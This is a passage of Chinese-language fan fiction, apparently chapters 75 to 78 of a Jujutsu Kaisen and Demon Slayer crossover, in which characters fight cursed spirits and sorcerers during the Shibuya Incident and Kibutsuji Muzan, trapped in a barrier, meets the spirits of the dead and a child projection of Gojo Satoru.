“怎么。”五条悟挑了下眉,“你还担心我吗?” “……不敢。” 安沉默片刻,在转身走向车队时,最后对五条悟说了一句…… “非常感谢您,五条先生。 无论是我个人,还是以工作人员的名义。” 说完这些,安向着速度逐渐慢下来的尾车跑去,上车关门一气呵成。 五条悟静静地站在原地,在那辆车彻底被建筑阻挡之后,五条悟愣了两秒,接着向目的地赶去。 车上。 先前,车辆猛地从几乎要一百八十度调转的角度漂移过来,停在安的面前。等她上了后座,又瞬间完成加速,向着越行越远的车队追赶过去。 至少这里没有成群结队的咒灵,安算是松了口气,结果就被司机这手车技晃得脑袋直挺挺地撞上玻璃,发出了沉闷的“咚”的一声。疼倒是其次,主要是身体被甩到车门上,又压到了手臂上的伤口,安皱着眉,伸出还算完整的左手去摸索医药箱。 而同在后座的粉发男生看见她的动作,连忙把自己身旁的医药箱递给她。 “谢了。” 安往驾驶座上一瞅,想看看是那个家伙开的车,差点把她魂都撇出去二里地。 结果这一看,好嘛,是熟人。 她俩小时候都是在盘星教长大的,只不过到了选文凭的时候,一个选了京都高专,雅则是选了东京高专。 雅的驾驶风格一向是这么大开大合,丝毫不顾车上的人。后座上的粉发男生早就十分老实地系好了安全带。 又不知出了什么状况,雅猛打了一下方向盘以避开向车窗扑过来的咒灵。驾驶座的车窗是开着的,雅左手一刀将这只小咒灵劈成两半,随后仿佛是十分嫌弃地甩了甩手上沾着的咒灵的血。 雅斜着眸子睨了一眼安,嗤笑一声。 “怎么把自己搞的这么狼狈?” 安的左手拽住头顶的扶手,身子转了一下,换后背撞上车门,好歹是减少了点伤害。因为没心思和她拌嘴,安单手打开医疗箱,从中抽出药品和绷带,动作熟练地给自己消毒、敷药,最后咬着绷带在手臂上打了个结,简单处理了一下自己的伤口。 “懒得跟你吵,你那嘴舔两下能给自己毒死。” 雅轻哼一声,表示自己不开伤员的玩笑。 这辆车内,除了司机,中途上车的意外乘客,就只剩老老实实待在后座的粉发男生了。 虽然雅开车通常不顾人死活,打咒灵疯起来可以拽着队友一起打,但她的实力还是可看的,至少比自己强。 紧绷的心情总算可以稍微放松一下,安耸了耸肩,侧身靠在车门上,目光落在看着心事重重的粉发男生。 “诶,小朋友,你叫什么名字?” 那人仿佛是现在才被唤回思绪,有些不好意思地挠了挠后脑勺,表情认真。 “我叫虎杖悠仁。” “家人还活着吗?” 这话问的有些直接,虎杖悠仁惊了一下,接着才连忙回复到:“嗯,我本来是在医院陪着爷爷的,但是没想到整个医院被那种叫咒灵的怪物入侵了,还好我们住的病房在比较高的楼层。 怪物扒上窗户的时候,楼梯间还没有被咒灵堵死,我就背着爷爷跑出医院,最后被这位姐姐救了。” 安点点头,估计他的爷爷应该是被安置在了另一辆车里,不然就雅这家伙的开车技术,高低得给老人家晃出问题来,都别说老人家本身可能就有疾病了。 被他这么一说,雅又回想起先前和虎杖悠仁聊天的内容,实在是绷不住,决定说出来图一乐。 “你别看他说的这么轻巧,这家伙背着他的爷爷跑了十几公里,再加上抄近道什么的,硬生生追上了车队。” 安用一种不敢置信的眼神看着他,歪了下头,眼睛里透出明晃晃的疑惑和好奇。 “这个咒力波动,应该是普通人才对,身体素质这么强吗?” “啊……” 虎杖悠仁眨了眨眼,回答到:“我从小就锻炼,我爷爷一直都说我身体很棒。” “瞎扯。” “我们赶到的时候,那块医院已经被咒灵潮淹没了。 你还没来的时候,我问他是怎么突破咒灵的封锁的。” “豁。”雅发出一声颇为夸张的感叹声,“这家伙说自己背着爷爷,从医院三楼的阳台跳到十几米外的围栏上,还能正正好越过阻塞的咒灵群。” “因为有助跑啊,那个阳台还蛮长的。” 虎杖悠仁天真地说。 “助跑个毛线……” 这车又是一阵剧烈的晃动,定睛一看,雅的双手几乎已经离了方向盘,驾驶座的车门被她打开,她没系安全带,几乎整个身子都半挂在外面。 雅一脚踩爆从地面上突然冒出来的一个咒灵脑袋,接着匕首横竖两刀给扑过来的几只咒灵砍成了碎片。 “喂喂喂!要撞上了!” 安死死拽着扶手,惊声尖叫。 雅把手里的匕首一拧,三两下处理掉剩下的敌人,反手合上车门,双手扒着方向盘猛地向右打转,车子的速度过快,滑行出去十几米,车头的直接撞上废墟中钢筋水泥的突起,随后车身瞬间飞起了几米,大起大落,在越过几个障碍物后,又稳稳地落在地上,发出一声巨响。 安的身子被迫弹起,脑袋撞上了车顶,发出令人肉疼的闷声。 “嘶………… 下次再坐你的车,我就不叫这名儿。” 雅毫不顾忌地发出一声嘲笑。 “这才哪到哪啊……” 紧接着,车顶传来一声巨响,随后是一把锋利的刀划开顶端,直直地刺入车内,把后座的安和虎杖悠仁都吓了个够呛。 在听见利刃割动铁皮的声音之后,雅的表情就彻底凝固下来。 是人。 还是敌人。 第75章 第 75 章 涩谷事变:…… “注意, 准备跳车!” 眼见长而锋利的刀刃就要在车顶上开出一个洞来,雅猛地向右打了两圈方向盘,轮胎和地面剧烈摩擦, 发出刺耳又响亮的声音, 连带着地面上都出现了两条乌黑的痕迹。 虎杖悠仁在他所有的人生阅历中没见过这场面, 精神高度集中,听见她急促的声音时, 手就放在了安全扣上。接着往下一按,迅速解开安全带,手指已经搭上了车门。 “收到!” 此时的安:“啊?!” 那刀刃又进来半尺, 车身剧烈摇晃了一阵, 随后被竖直着劈开。车辆四分五裂的前一秒,四道人影从混乱的中心散开, 最后只听到冲天的爆炸声。 虎杖悠仁被爆炸冲击到,十分有经验地弓着腰翻滚到废墟后方, 单膝跪在地上。扶着砖块和墙面大口大口地喘着气,余光瞥见雅身形笔直地站在废墟之上,目光锐利,好似一把通体晶莹的利剑, 锋芒毕露。 她的视线遍及整片区域, 下一秒就落到了他身上。 等等, 不对。 是后面! 还不等他转过头去看背后究竟是个什么东西,虎杖悠仁只是感觉到腹部传来一阵力道, 随后自己的身体就顺着击打的力道飞了出去, 在地上滚了两圈才停下。 这击打应当是收了力的,不然虎杖悠仁不会一点疼痛的感觉都没有。 而就在他惊魂未定之时,一个虚弱的女声从不远处的废墟之下传来。 “悠仁, 快来搭把手……” 安的半个身子都被埋在下面,脸上是仿佛神游天外一样的茫然,接着才是被疼痛惊醒一样,扒拉着身旁的石子试图爬出来。 “你安姐要没了……” 虎杖悠仁闻言两下子跑到她边上,帮着把人整个捞起来,安置在并不起眼的废墟之后,他自己则是摸到了更前面的地方。 虎杖悠仁找了个掩体蹲下,视线落到他上一刻的所在地,一个扎着丸子头的青年男生站在废墟上,手中的长棍接着居高临下的优势横扫而下,迫使雅进行横刀格挡。 她的位置不占优,在确认将虎杖悠仁送出战斗场所后,就屈身收刀,以一种灵活而怪异的方式从长棍的压迫下退了出来。 “喂。” 丸子头男生在看着她笑,杂乱的刘海遮挡住额头,衬的眼底的兴奋更加肆无忌惮。嘴角微微上扬,直到扩大到绷紧的地步。 “你这家伙,很有意思嘛。” 不善的气息逼近,雅松了松腕骨,连带着长刀旋转了三四圈,随后刀尖向前,直指面前的人。 “嗯哼,动手之前,怎么不报上名来?该死的诅咒师。” 显然,能对平民出手的咒术师已经被她归于诅咒师这一行列了,只可惜猜测错误,而对面也懒得去反驳。换言之,他不在乎自己是何身份,他的目标只有一个。 为了在此世同两面宿傩一战,为了战胜这绝对的实力而带来的空虚。 “鹿紫云一。”简简单单报出自己的名字,鹿紫云一收回进攻的架势,将长棍搭在肩膀上,抬了抬下巴,“我的目标不是你,让开。” 雅的大脑飞速运转,这人的攻击目标非常明确,在一众车辆内选了自己三人乘坐的一辆,在她们三个分散开来之时,又精准地对虎杖悠仁出手。 对峙之时,注意力不能太分散,所以雅只是盯着他,身子也没有动弹。 “哈?”雅不屑地放声大笑,面上是毫不掩饰的冷意,“两句话就想把我撇开,你以为你是谁?” 雅右手转刀,面上不屑与警惕并存,背身收刀的同时,在对面的视野盲区给不远处的两人比了个手势。 安在最开始哼唧了两下后,发现自己的伤势其实也没那么重,就跟着虎杖悠仁一道来到掩体后面,眼睛一动不动地盯着不远处的两人。 直到雅背身做了那个手势,安虎躯一震,拽着虎杖悠仁的肩头把人往下按。 “现在局势已经很明朗了,我们……” 安面色凝重,因为不确定对方的听力有多好,所以她尽可能压低声音。 “趁着敌人不备上去帮忙吗?” 虎杖悠仁同样也是压低了声音,近乎是用气音接着她的话说。 安翻了个白眼,手掌有规律地按了按自己的大小腿,还好她的两条腿最多只是受了点皮外伤,骨头没有错位,不影响正常行动。 “帮个毛线!我们开溜。” 安拉着虎杖悠仁的手,环视四周,试图找到更好的代步工具。 虎杖悠仁:“啊?” “那这样不就只留她一个人战斗了吗?” 就像是所有青春热血漫画里的男主角会有的观念一样,“决不能抛下任何一个同伴”,“勇气比实力更加可贵”,下意识地认为青年的勇气与羁绊可以解决一切的困境。 但安只是个普普通通的,稍微有点身手的辅助监督。 “她那个手势代表自己没有绝对的把握能战胜对方,让我俩先离开别碍着她事了。” 不过,面对少年人的期待,安并没有说多重的话,只是伸出右手食指点了点虎杖悠仁的肩膀,随后又指了指自己。 “况且,你一个普通人。 哪怕加上我,我才几斤几两。 帮忙?别被当成野怪刷了就不错了。” 虎杖悠仁眨了眨眼睛,不讲话了。 在周围扫视了一圈,确定没有好用的代步工具,只能给他使了个眼神,示意她俩先离开。虎杖悠仁的目光落在对方小腿上糊着灰黑色灰尘的伤口上,轻声说到:“不如我背你吧,这样跑得快一点。” 安的眸子转了一圈,有些狐疑地望着他。转念又想到这家伙能背着他爷爷追上车队,自己腿上的伤也不是一点影响都没有。细沙和小石子嵌进血红色的肉里,连带着周围一圈都染上了刺目的黑,稍一用力就传来一阵钻心的疼。 哪怕没有用力,只是坐在这里,也会有细细密密的疼痛一直从小腿往上蔓延,直至深入每一根神经,将脆弱的神经纤维拉扯着撕裂着。 安点了点头,答应了他的提议。 现在的问题是市区内有大规模的咒灵潮,而他们两个显然都没有对付咒灵的有效手段,别等到时候刚出龙潭又入虎穴。 安对着虎杖悠仁问到:“你有手机吗?” 虎杖悠仁摇摇头,表情有些失落;“应该是方才爆炸的时候被甩出去了,没找到。” 安叹了口气,自知这趟险是不得不蹚了,也只能提起精神,去感知周围的咒力浓度,虽然范围不算大。 在虎杖悠仁的帮助下,安趴在他的背上。但由于安的大腿上没一块好肉,而且还牵一发动全身,皮肉被拉扯得疼痛难忍,稍不留神就容易摸一手的血。 最后还是虎杖悠仁换了个姿势,手臂按着她的背把人扛在肩上。确认这样稍微好点之后,虎杖悠仁瞬间起步,身形一下子窜出去十几米。 不远处,鹿紫云一下意识要跟上去,但刚有动作就被一柄长刀横在身前。 这人寸步不让。 在鹿紫云一的视线下,雅面色沉稳,率先提出自己的疑问。 “那个孩子很特殊。” 毕竟没有哪个普通人的身体素质和爆发力能达到这个级别的,在这个咒灵遍地走,咒具满天飞的咒术界,这种情况并不算稀奇。就比如天与咒缚的一种,就是能以咒力水平换取身体素质,像是伏黑甚尔。 说起这家伙,雅就牙疼,又回想起自己被当沙包扔的那段时间。 但普通的猜测放在这个环境下显然并不好使,雅的眸子一转,目光扫过鹿紫云一的全身。不过她并没有六眼,也着实看不出这家伙的底细是什么。 但有一点是可以确认的。 他对虎杖悠仁的杀意并不算强烈,那一棍看力道和落棍的目标,应当是为了带走他,而非杀死。 “喂,我说。” 雅双手抱胸,眸色沉沉的,死死盯着对方的眼睛。 “这种实力的诅咒师,居然不在通缉名单上? 你这家伙,是从哪里冒出来的?” 鹿紫云一轻叹一声,面上笑容逐渐蔓延开来。 “虽然我确实执着于与那家伙战斗,但在最终的决战前,找个像样的对手热热身也不错。” ………… 此时此刻,涩谷地铁站内。 里梅占据着有利的地位,寸步不让。 “追加条件? 你别忘了,五条悟。 按照现在的情况,你再多犹豫一分钟,就会有更多的普通人和咒术师因为你的犹豫而死去。 他们是因为你而死的。” “哈?”五条悟脸上露出一个颇为夸张的嘲讽,“这句话对我没有用哦。” 虽然是这样说,但五条悟的指尖飞快地划过屏幕,时刻关注着各地的情况。 “我来简单地问几个问题吧。” 五条悟在冰晶的环绕之中微笑,那双眼眸未展露一刻,他的心思就不会透露分毫。 “第一,在今日被你们率先引走的鬼舞辻无惨,现在如何。” “第二,你参与此次袭击的目的。” “第三,你们是想要封印六眼,还是封印我?” 第76章 第 76 章 里梅沉默片刻。 …… 里梅沉默片刻。 咒灵储备并不是永无止境的, 若是再往后拖,自己这方的筹码或许就不足以达到最初的目的了。 况且,他所问的三个问题。第一个已经尘埃落定, 第二个并不是不可告人的秘密, 第三个问题则是没头没尾的。 什么叫“是为了封印五条悟, 还是为了封印六眼”? 里梅:“可以。” “第一,她利用特殊的结界和特级咒灵, 制造出循环往复的封闭领域,借此困住那位名为鬼舞辻无惨的怪人。” 此时此刻,不知名的领域中。 或者这并非领域, 其本质是某位精通结界术的存在将封闭式结界和循环式结界相结合, 并在基点上加之以某只咒灵的生的领域而形成的,专门用于控制鬼舞辻无惨的“囚牢”。 而这只被利用的咒灵也很特别, 它诞生于人们对死亡的恐惧,如今却被用来对付逃离死亡的存在。 在庞大而纵横交错的囚牢之中, 命运与情感交织在一起。 这里常年下着雨,但那雨并非寻常之物,而是从地面为始,自下而上, 向空中倒流而去的雨。在庞大而交错的雨幕之中, 有谁孤独地于此上行走着, 不知来路,不知源头。 ………… 鬼舞辻无惨照例是他出门时候穿的那套西装, 衬衣服帖地贴合在他身上, 哪怕是经历过一场战斗,鬼血术也能保证衣物的完好。 外套则是披在肩上,随着他的行走微微晃动, 并没有要掉落的迹象。双手插兜,看上去毫无防备,实则所有细胞都在观察着周遭的环境。 自从那个可以肆意改变身体形状的咒灵将这结界留下之后,鬼舞辻无惨不得不在对方设下的陷进之中寻找破解的方法。 他们估摸着是知道自己没能力杀死鬼舞辻无惨,从一开始就没有想过和他进行正面作战,而是利用领域和结界术结合的产物困住他。 据对方所说,这是一片有别于现实世界的、由某位精通结界术的存在所创造的一块空间,这块空间的本质是循环往复的时间,无论是向前还是向后,只能决定时间是顺流还是倒流,而无法决定自己是否能离开这里。 稍加决断之后,鬼舞辻无惨选择向后走,逆时而行。 因而雨水逆势而上,微风拂过面庞,却带不来一丝凉意。因为这风在减弱,这植株在一点点缩小,直到彻底消失,这结界才会跟幻灯片一样,更换下一个背景。 这么决定的理由也很简单。 外头目前应当是在激战,他在这里也感受不到外界时间的流逝,再加上自从进了这里之后,手机就报废了。 退一万步来讲,假设这个结界的能力已经强大到足以影响现实世界,那么他向前走,不就是在加速时间的流逝吗? 万一呢? 万一他错过了什么,因而违背了和某人的承诺,那可就太糟糕了。 鬼舞辻无惨微微抬头,那枝头上,燕雀在叶间欢呼雀跃,随着鬼舞辻无惨一步踏出,这景象则瞬间消失。 鬼舞辻无惨摸了摸下巴,觉得事情并没有这么简单。 以他粗浅的咒力知识来看,这方结界的咒力流动是十分混乱的,因果交杂在一起,命运变得模糊不清。 就像现在,他居然看见面前出现了一个白发虹眸的……鬼? “呀呀呀,这不是无惨大人吗?” ……是真的? 鬼舞辻无惨瞬间警觉起来,他开始怀疑自己是否还在五条悟所在的世界里。 “……童磨?” “去往地狱的途中居然能有大人的陪伴,真是太令人感动了。” ……鬼舞辻无惨拉下脸。 啧,遇见这小子果然没什么好事。 “无惨大人~不要这么不开心嘛~好歹我们算是团聚了呢。” 童磨的脸有种很强烈的迷惑性,他的脸上时常挂着纯粹又柔和的笑容,这可能和他的教祖身份有关,不了解他的人只会觉得这是个心地善良的大好人。 但童磨只是单纯有着一套正常人难以理解的世界观和善恶观而已。 就像现在,地狱团聚,也算团聚嘛。 鬼舞辻无惨轻哼一声,并不打算对他的言论发表任何见解,这家伙也知道自娱自乐,自顾自地说起来:“嗯……我还以为世界上没有地狱的来着。” 在前面站着的是……他的上弦一,黑死牟。 不过他现在的样子,没了那足以占据整张面庞的四只眼睛,只留下最初的双眸安然居于面上。这位素来严苛冷淡的武者,死后面上满是平静与祥和他的目光悠远而带着追忆,落到自己的身上,也是一种混杂着愤怒、懊悔、愧疚与不甘的复杂情绪。 这个时候,鬼舞辻无惨心里的情绪可能会更多。 毕竟这张脸是真的很像很像很像那位啊。 黑死牟,当然,现在称呼他人类时期的名字估计更为妥帖。 继国严胜并没有说话,他只是对着鬼舞辻无惨的反向微微颔首示意,以表示意。 在前面的是,上弦之三猗窝座,等等,他怎么一副要杀了自己的样子。 恢复记忆啦? 哦,那这样是正常的。 鬼舞辻无惨没有停留太长的时间,他不清楚自己为什么会在这个地方看见不属于此世的存在。 假设他的敌人并没有那个能力构造出另一个世界的故事,那么这里的景象来源就只有一个…… 鬼舞辻无惨的记忆。 再往前走,雨一直下着。 逆流而上,逆时而行。 半天狗和玉壶跪伏在他面前,诉说鬼杀队的那群人是何等的对待他们的,听得鬼舞辻无惨眉头一跳,赶忙让他俩别顶着这张脸在这诉苦了。 在前面是堕姬和妓夫太郎,他们对自己倒是无怨无恨也无感激,就像是寻常兄妹见了熟人一样打了个招呼。 堕姬显然比她哥哥要兴奋一点,但也只有这些,在妓夫太郎呼唤她的时候,堕姬一个冲刺,跳到了妓夫太郎的背上,扭过头对着鬼舞辻无惨挥挥手。 鬼舞辻无惨轻笑一声。 雨一直在下,无数的魂魄自他的身旁经过,大多不敢看他。鬼杀队的灵魂则对其怒目而视,就像是能够再一次联结在一起,为了除掉最终的敌人而战一样。 一样的目光,他在漫长的时光中,看过很多次,也用生命证实了,这般的目光确实有力量。 但这不对,见的魂魄越多,鬼舞辻无惨原本混乱的脑海莫名变得平静下来。这个结界在利用什么,这些东西的出现毕然有其原因。 所以原因是什么? 鬼舞辻无惨问到。 但在见到那几个人之后,这种思绪豁然开朗,那是炭治郎一家的魂魄。 是时间,这顺序是逆着他们死亡的时间来的。 但这样一来,就延伸出了新的问题。 最最重要的一环,最后的一环,在这结界之中,应当是最初的一环,即为“鬼舞辻无惨”的灵魂。 …… 再度睁眼之时,雨已经停了,天空降下刺目的金光,莫名的,鬼舞辻无惨觉得这日光过于刺眼,撑起了一把黑色的伞,笼罩出一片狭小的领域。 在他的面前出现了一座庭院,绿草茵湿,生机勃勃,麻雀落在草坪上,低着头。 在麻雀上方,有人也在低着头看它。 那人半趴在地铺上,用手肘撑起上半身,掌心托着下巴。散着的头发顺着脸颊垂落,乌黑发亮,衬的这人的肌肤愈发的苍白,腕骨突出,瘦小而脆弱。 他低着头,面上似有不满,但也只是静静地看着那只麻雀。 鬼舞辻无惨怔怔地走上前去,在他身边停住。 …… 他突然觉得喉咙干涩,何种话语都无法说出口。 这结界似乎是觉得这把火不够旺一样,鬼舞辻无惨的耳边响起了细细碎碎的声音。 刀剑相击的声音,坚硬物体碰撞的轰轰声,还有长刀刺入血液的声音。 鬼舞辻无惨走上前,蹲下身子,黑伞将周遭的光亮尽数遮掩。 “你在看什么?” “鬼舞辻无惨”回答到:“麻雀啊,这不是很显而易见的吗?” 高大的男人低下头,微微卷曲的头发划过脸颊。 “那,你又在想什么呢?” “鬼舞辻无惨”像是并不觉得自己的言语有多么不恰当一样,理所当然地说:“在想这只麻雀什么时候会死。” 鬼舞辻无惨眨眨眼,长长的睫毛随着他的动作翩跹,二人同步。 “不会很长的吧……” “鬼舞辻无惨”歪了下头,脸上表情并不美妙。 “我也会这样吗?” 对方抬起头,兴致勃勃地看着自己。 “可以不用死,可以活着了吗?” 不知道是不是他的错觉,这周遭的天空似乎愈发的明亮,太阳往那高处升起,金色的光芒洒落,愈发的炽热。 紧接着,又发出令人牙酸的血肉被燃烧的声音。 “鬼舞辻无惨”看着他的表情,像是有些失望。 “一定要死吗?一定不能活吗?” 这光在照耀,利刃刺入血肉百遍,都不及这暖阳带来的伤害要大。 …… 一处地点,不同的时空和命运相交汇,困境与恶果相交织,纯粹的孩童心灵仿佛成了最难能可贵的事物。 鬼舞辻无惨闭上眼,垂着眼眸。 他静静地起身,无人知晓其内心在想些什么。 直到下一秒,四周的风景轰然倒塌,还是淅淅沥沥的雨。 不过这时,他的身后传来了声音。 熟悉,但又带着点陌生。 因为这是他未曾听过的,五条悟幼年的声音。 第77章 第 77 章 涩谷事变:…… 鬼舞辻无惨扭过头去, 视线落在面前的正穿着竹蜻蜓和服的幼年五条悟身上。 目测也就七、八岁的样子。 但关键是,这是结界吧?自己没见过的东西也能虚构吗? 鬼舞辻无惨有些狐疑地看着面前的幼年五条悟,心里怀疑过一万次这是某个不知所踪的反派的计划。 但事实就是, 面前的确确实实是五条悟本尊。只是不知道他为什么会出现在这里, 也不知道为什么会是这样一副幼年的样子。 鬼舞辻无惨沉默片刻, 冷漠道:“我不信。” 五条悟:? 狱门疆内是感受不到时间的流逝的,五条悟并不能通过体感来判断距离自己被封印到底过去了多久。 但在冥冥之中, 他蓦地感受到自己的咒力一阵沸腾。 当然,这咒力并不是来自于他本人。 那么除了五条悟本人之外,还有谁拥有五条悟的咒力呢? 答案不言而喻。 问题的关键就是, 五条悟既然能感知到鬼舞辻无惨那边的咒力, 说不定能因此产生些许的变数。于是五条悟除了构思出狱门疆那天要摆什么poss之外,就是在沟通这不知身处何处的咒力。 当然, 最终的结果也是喜人的,虽然他不知道为什么到了一个奇怪的地方, 身体还变成只有七八岁的样子了。 等等,他的身体好像还在狱门疆里,这个身子实质上只是个投影。 吓死了。 五条悟心有余悸地想到:还以为真的变成小孩了。 五条悟大摇大摆地上前,在鬼舞辻无惨面前站定, 随后理所当然地向他伸出双臂, 其意图非常之明显。 “抱我, 快点。” 鬼舞辻无惨:…… 轻叹一声,那能怎么办呢, 这这么不管他? 鬼舞辻无惨找了块干净地方坐下, 并把五条悟这家伙抱在怀里。 “既然你我都如此了,说说外面发生什么事了吧。” 虽说这里是敌人的陷阱,但他们大概也想不到五条悟和鬼舞辻无惨会在这里会面, 所以两人正大光明聊起对策来。 不过在商量之前,五条悟率先将他被封印前的这段时间发生的事情一一陈述。 直到问起了那三个问题。 鬼舞辻无惨沉吟片刻,有些迟疑地说到:“所以,你怀疑敌人至少会由三部分组成。 第一是曾经从咒术界逃离的御三家的旧部,其目的是恢复家族对咒术界的统治。 第二则是为了复活诅咒之王两面宿傩,趁混乱收集手指并启用受肉的,曾经的两面宿傩的手下。 第三……没有线索?” 五条悟凝重地点了点头。 “嗯,目前已知的情报无法推断出这一部分成员的具体情报,唯一能确定的是,对方并不担心将咒术界曝光于民众之前,与之相对的,或许混乱的环境更适合对方的预期。” 五条悟撑着下巴,眼睛睁得圆圆的。 “这些我在被封印前就跟老头子说过了,希望他去查。 不过现在那些咒灵应该都老实下来了,再加上其他地区的咒术师援助,重建工作应当不会过于困难。” 鬼舞辻无惨:“对方并没有放弃袭击吧?只是承诺收回咒灵群。” 五条悟耸了下肩,悠悠然地靠在鬼舞辻无惨的怀里,懒得去想其他有的没的了。 “啊,确实是这样,剩下的就要靠他们自己扛了。 不过没关系,五条老师还是非常相信我那群可爱的学生们的。” 此时此刻,城市的各处。 东京咒术高专。 地面上,主战场主要是万和乙骨忧太的作战,而在一旁辅助作战的狗卷棘和熊猫不约而同地收到了来自低下的加密通讯。 地下,禅院真希将枪横于身前,用以缓冲即将到来的打击。 但普通的长枪还是过于脆弱,瞬间断成两截,禅院真希的身子也倒飞出去,砸到墙上。 但在那咒灵试图上前时,咒骸一个冲天跳,冲着咒灵的后脑打去。 “啊啊,真是的,烦死了。 改造人还不够你们玩的吗?” 真人皱着眉,一把扯过还在不断挣扎的咒骸,随后撕成两半。 “哼,真是的,要不是那个奇奇怪怪的结界,我早就拿到东西了。” 真人碎碎念。 其实他说的没错,在此前的对战之中,倘若不是天元利用结界术辅助禅院真希和夜蛾正道作战,以他俩的实力,难以对付手段奇特的人型咒灵。 但在他试图翻找自己需要的东西是,一阵短促但强烈的携带咒力的声音从他的身后轰然炸开。 “别动!” 真人的身子仿佛被定在原地,紧接着,熊猫十分灵活地一脚飞踢踹出,将真人的身子打得陷进墙里。 “校长,真希,别怕! 友情和羁绊都来啦!” 顺着熊猫的话,狗卷棘接了一句,不过声音有些哑。 “鲑鱼鲑鱼!” 但战斗还未结束,或者说,随着某一时刻的到来,街道上肆虐的普通咒灵就像是被摁下断点按钮一样,停止了动作。 苦苦挣扎的咒术师对此大喜过望,士气高涨。 与此同时,天上负责散布咒灵的加茂弥松了口气,擦了擦额头并不存在的汗水。 “您看,既然已经可以了,那我们几个还需要做什么吗?” 加茂弥的本意是,既然她所承诺的事已经完成,那么脱离战场,重回咒术界就应该是接下来的目标。 但面前的两大特级咒灵对视一眼,简短地聊了两句。 加茂弥听不懂咒灵的语言,但倘若她能听得懂,就可以知道。 面前的陀艮和漏壶正在讨论,该如何瓜分这群人。 “我解决一半?”漏壶皱了下眉,“他们不是很多都在你的领域里吗?你顺手捏死不就行了,我等会还要去五条家呢。” 漏壶耸了耸肩,脸上露出纯粹的残忍的笑容。 “既然不能和五条悟打,那我就去五条家看看。 希望他们能给我惊喜吧,不然……” 陀艮没有反对意见,将目光转向加茂弥。 ………… 最后一处,盘星教中。 阁楼倒塌,被胡乱生长的树枝戳得东倒西歪,看守人员被一根树枝贯穿了脑门,十分迅速地死掉了。 夏油杰死死咬着牙,站在殿前不肯后退一步。 “夏油……”少女被坚硬的树枝紧紧绑住,皮肤上出现一道道勒痕,又青又紫,触目惊心。 她的声音微弱,断断续续。 “我……不想死……” 第78章 第 78 章 决战篇(1)…… 半个小时前, 日本陆地上数以万计的咒灵群诡异地停止了行动,使各地的咒术师机构得到了宝贵的喘息时间。 在夏油杰和五条家的领导下,全国各地的咒术师相继驰援, 并以极高的行动效率, 破开了咒灵群的包围圈。 方才还密密麻麻遍布着绝望的大地之上, 瞬间被暖色所取代。 只不过…… 夏油杰皱着眉,手上翻看着信息中心上传的咒灵分布图。 “还是联系不上悟吗?” 菅原真奈美捂着右臂, 面色惨白,眼角还有数道细密的血痕。 “是。 五条大人和无惨大人……都联系不上。” “真奈美,你的状况有点糟糕, 硝子的医疗中心离这不远, 需要我让咒灵送你一程吗?” 用词滴水不漏地回复完高层的人,夏油杰将目光落在面前的菅原真奈美上, 眸中担忧与焦急并存。 “我还好,没必要浪费一个战力。” 菅原真奈美摆摆手, 表情柔和,像是松了一口气。 “我还没那么脆弱,等下我自己去吧。” …… 夏油杰叹了口气,眉眼间的凝重从未削减过。 “他们两个, 一前一后失去联络…… 咒灵群莫名停滞……” “真奈美。”夏油杰的目光陡然锐利起来。 “你说……这像不像一场交易?” 已知悟不会无缘无故搞失踪, 附加现况是, 暗处至少有两到三方的敌人正在虎视眈眈。 特别是在危机爆发前,悟还专门提醒了下自己。 ………… “真奈美, 这里就拜托你了。” 菅原真奈美先是表现出一点点的疑惑, 紧接着就被坚定所覆盖。 “我知道了。” 夏油杰向她露出一个感激的笑,随即踏上自己的咒灵,加快速度赶回盘星教, 并第一时间下命令,所有人员远离盘星教,相互间保持信息沟通和位置共享。 先前,他允许教内的孩子们外出,所有人的行动路线都是随机的。与其相信幕后之人的势力已经蔓延到可以监控整个京都市,不如去猜测他们会将核心力量集中到固定的地点。 这样想着,夏油杰拨通了枷场美美子的电话。 冰冷的电话铃声一下一下地响着,带着夏油杰的心脏也一齐跳动。但还好只过了几秒,电话就接通了,美美子淡淡的声音从电话那边传来。 “夏油,你已经处理好了吗?” 夏油杰低着头,巨大的咒灵略过高空,也略过一处又一处的焦土。破碎的房屋,血肉模糊的尸体,不时有咒术师穿梭于其中,将一个又一个生命拽出冥河。 点点思绪顺着记忆的海顺流而下,但现实中也仅仅过去了两三秒的时间。美美子感到了些许的疑惑,再次询问到:“是出了什么意外吗?” 夏油杰收拾好思绪,“你和菜菜子有好好照顾静佳吗?” 美美子垂着眼,视线触及一旁消失的衣角,语气一如往常,但夏油杰却能从中听得一丝的缱绻。 “当然。” “菜菜子想吃苹果派,静佳姐带着她去厨房了。” “我,我的话,我现在……” 蓦地,清脆的玻璃的碎裂声传来。 美美子呼吸一滞,第一时间转过头去观察情况。 迎接她的只有冰冷的枝杈,和血红的落日。 下一秒,少女的惊呼,手机滑落,然后被毫不留情地碾碎。 夏油杰指尖紧绷,咒力催动到了极致。 ………… “杀了?” “别啊。” “留一口气吧,让他以为这两个女孩都还有救,这样比起杀了你,他会更倾向于救人。” “没了五条悟,我们想要杀死一个警惕心极高的特级咒术师,还是有点困难的。” “里梅那边传来消息,五条悟已经被狱门疆封印,这份交易稍稍束缚了我们的行动,但无法约束包括你在内的特级咒灵。” 此时此刻,咒术高专。 “棘!棘……” “大芥…………” “哦哦。”胖达揉了揉脑袋,毛茸茸的白色大脸上露出不好意思的表情,“抱歉啊,手劲儿大了点,我还以为你晕过去了。” 耳旁有呼啸的风声袭来,吓得胖达一个起跳,扛起狗卷棘直接瞬间蹿开。下一秒,一个由黑色液体金属构造而成的求道玉几乎是擦着他俩的身旁飞了过去,将地面碾碎,形成一条清晰的断带。 “还有功夫闲聊吗?” 胖达当机立断,扛着狗卷棘撒腿狂奔。在他俩身后,万从高空中落下,大角度转弯后贴近地面滑翔,追着两人的行动轨迹,还时不时操控求道玉向他们攻击去。 狗卷棘掀开领子,对着袭来的求道玉大喊一声“停下”,成功控制其将近两秒的时间,胖达趁机改变步伐,向一边躲开,随后马不停蹄地接着跑,边跑边扯着嗓子喊到。 “忧太!撑不住啦!” 追逐战上演之时,祈本里香从半空中精准地落到万的身上,利爪试图撕扯开她的武装防御,虽然失败,但也成功延缓了她的动作。 “静止!” 乙骨忧太的术式是“模仿”,可以模仿其他人的术式。虽说他施展咒言时对咒力的把控程度没有狗卷棘高,但他凭借深厚的咒力,大大提高了咒力输出,成功将万定在原地。 借着这个难得的时机,乙骨忧太与祈本里香相互配合,将咒力覆盖在长刀之上,拼尽全力向万的脖颈挥去。 一秒,这刀锋触碰到坚不可摧的铠甲。 两秒,刀锋嵌入这铠甲,随后,万挣脱了咒言的束缚,双手握住刀身。 三秒,从万的身躯的中央,虫之铠开始逐渐消散,但这并不意味着这次攻击的大获成功。 因为万的双手反折,结印。 “领域展开:三重疾苦。” 